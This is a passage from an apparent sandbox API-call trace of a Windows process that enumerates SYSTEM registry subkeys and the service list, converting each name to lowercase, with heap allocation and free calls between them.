lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0236.546] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0236.546] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.546] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0236.546] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.546] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0236.546] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.546] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0236.546] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0236.546] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f1a90, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0236.546] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.546] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0236.546] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.546] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.546] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0236.546] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.546] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0236.546] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.546] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0236.546] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0236.546] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.546] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0236.546] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.546] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0236.546] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.546] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0236.546] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0236.546] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f1a90, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0236.546] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.546] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0236.546] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.546] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.546] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0236.547] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.547] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0236.547] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.547] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0236.547] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0236.547] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.547] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0236.547] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.547] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0236.547] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.547] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0236.547] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0236.547] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f1a90, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0236.547] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.547] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0236.547] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.547] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.547] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0236.547] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.547] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0236.547] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.547] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f1a48, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0236.547] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0236.547] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.547] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0236.547] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.547] RegOpenKeyExW (in: hKey=0x150, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x154) returned 0x0 [0236.547] RegCloseKey (hKey=0x150) returned 0x0 [0236.547] RegEnumKeyW (in: hKey=0x154, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0236.547] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.547] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0236.547] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0236.547] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0236.548] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.548] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0236.548] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.548] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.548] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0236.548] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.548] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0236.548] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.548] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f1a48, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0236.548] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0236.548] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.548] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0236.548] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.548] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0236.548] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.548] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0236.548] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0236.548] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f1a90, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0236.548] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.548] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0236.548] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.548] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.548] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0236.548] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.548] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0236.548] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.548] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0236.548] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0236.548] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.548] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0236.548] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.548] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0236.548] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.548] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0236.549] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0236.549] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0236.549] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.549] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0236.549] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.549] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.549] RegOpenKeyExW (in: hKey=0x154, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0236.549] RegCloseKey (hKey=0x154) returned 0x0 [0236.549] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0236.549] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.549] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0236.549] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.549] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f1a48, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0236.549] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0236.549] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.549] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0236.549] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.549] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0236.549] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.549] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0236.549] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0236.549] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f1a90, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0236.549] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.549] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0236.549] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.549] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.549] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0236.549] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.549] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0236.549] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.549] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f1a48, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0236.549] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0236.549] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.550] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0236.550] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.550] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0236.550] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.550] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0236.550] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0236.550] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f1a90, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0236.550] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.550] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0236.550] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.550] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.550] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0236.550] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.550] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0236.550] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.550] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f1a48, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0236.550] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0236.550] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.550] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0236.550] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.550] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0236.550] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.550] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0236.550] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0236.550] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f1a90, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0236.550] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.550] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0236.550] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.550] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.550] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0236.550] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.550] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0236.550] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.551] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f1a48, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0236.551] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0236.551] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.551] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0236.551] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.551] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0236.551] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.551] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0236.551] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0236.551] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0236.551] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.551] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0236.551] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.551] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.551] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0236.551] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.551] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0236.551] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.551] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f1a48, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0236.551] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0236.551] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.551] 